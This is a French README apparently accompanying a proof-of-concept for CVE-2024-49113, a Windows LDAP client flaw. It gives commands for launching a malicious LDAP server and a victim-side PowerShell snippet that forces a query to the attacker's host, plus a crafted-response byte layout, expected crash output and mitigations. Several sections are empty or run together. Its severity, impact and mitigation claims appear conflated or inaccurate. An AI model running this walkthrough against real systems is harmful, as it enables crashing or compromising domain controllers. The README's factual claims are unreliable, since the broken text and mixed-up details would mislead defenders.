
Reproduction de cve-2024-49113-ldap_nightmare_reproduction
Exécution de code à distance du client LDAP Windows (dépassement de tampon basé sur le tas)
| Champ | Valeur |
|---|---|
| CVE | CVE-2024-49113 |
| Alias | LDAP Nightmare |
| CVSS 3.1 | 9.8 — CRITIQUE |
| CWE | CWE-122 — Dépassement de tampon basé sur le tas |
| Découverte | SafeBreach (PoC publié en janvier 2025) |
| Exploitation | Exploitation active dans la nature confirmée |
| Correctif | Patch Tuesday de Microsoft de décembre 2024 (KB5048685 / KB5048652) |
CVE-2024-49113 est une vulnérabilité critique de dépassement de tampon basé sur le tas dans la bibliothèque cliente LDAP de Windows (wldap32.dll). Un attaquant distant non authentifié peut déclencher la vulnérabilité en envoyant une réponse LDAP spécialement conçue à une machine Windows victime qui émet une requête LDAP (par exemple, un contrôleur de domaine effectuant des recherches d'annuaire).
Étant donné que les contrôleurs de domaine Windows envoient régulièrement des requêtes LDAP à d'autres contrôleurs de domaine, serveurs membres et serveurs de catalogue global, cette faille est particulièrement dangereuse dans les environnements Active Directory. Une exploitation réussie permet une exécution de code à distance dans le contexte du compte Système local (sur les contrôleurs de domaine), donnant à l'attaquant un contrôle total du serveur ciblé.
La preuve de concept publique (surnommée « LDAP Nightmare ») a été publiée par SafeBreach en janvier 2025, après que Microsoft a livré des correctifs lors du Patch Tuesday de décembre 2024.
La vulnérabilité réside dans wldap32.dll — l'implémentation Windows du client Lightweight Directory Access Protocol (LDAP) tel que défini dans la RFC 4511.
Lorsqu'un client LDAP reçoit une réponse Search Result Entry, la bibliothèque analyse les unités de données de protocole (PDU) du message LDAP dans une boucle de décodage BER (Basic Encoding Rules). Une faille dans la logique d'allocation mémoire sur le tas lors de l'analyse des valeurs d'attributs LDAP amène le décodeur à écrire des données au-delà des limites d'un tampon alloué sur le tas.
Plus précisément :
Toutes les éditions prises en charge de Windows Server et Windows Client sont vulnérables avant les mises à jour de sécurité du 10 décembre 2024 :
Les mises à jour du Patch Tuesday de décembre 2024 qui corrigent cette CVE sont :
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
Sur la victime, vérifiez les KB installés :
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Si aucun résultat n'est renvoyé, le système est non corrigé et vulnérable.
Sur la machine de l'attaquant, exécutez ce PoC :
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Où 192.168.1.100 est l'adresse IP de l'attaquant.
Remarque : Sous Linux, la liaison au port 389 nécessite les droits root (sudo). Sous Windows, des privilèges administrateur peuvent être requis.
Depuis la machine victime (PowerShell, en tant qu'administrateur) :
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
Vous pouvez également utiliser ldp.exe (inclus avec Windows Server / RSAT) :
DC=evil,DC=local[*] Sending malicious search result entry... et enverra la réponse spécialement conçue.lsass.exe de la victime ou le processus client LDAP plantera avec une violation d'accès (0xC0000005), ou le système peut afficher un écran bleu (BSOD).Un Dockerfile est fourni pour exécuter le PoC dans un environnement isolé :
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
Le exploit.py inclus implémente :
--listen-ip, --listen-port, --payload-size).# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
Installez les mises à jour du Patch Tuesday du 10 décembre 2024 :
Si le correctif ne peut pas être appliqué immédiatement :
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
Ce matériel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'exploitation non autorisée de CVE-2024-49113 contre des systèmes sans autorisation explicite est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive de ces informations. Obtenez toujours une autorisation écrite avant de tester un système.
| Décalage | Champ | Valeur |
|---|
| 0x00 | Balise de message LDAP (0x30) | Séquence |
| 0x01–0x02 | Longueur totale (spécialement conçue) | Une grande valeur déclenche le dépassement |
| 0x03 | ProtocolOp (0x64) | Search Result Entry |
| 0x04–0x0E | Champs de résultat LDAP | En-tête standard |
| 0x0F+ | Liste d'attributs | Déclencheur du dépassement (longueur = 0xFFFF) |
| Source | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (découverte originale) | Blog SafeBreach — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Dépassement de tampon basé sur le tas |
| RFC 4511 | Protocole LDAPv3 |
| Patch Tuesday de décembre 2024 | Notes de version Microsoft |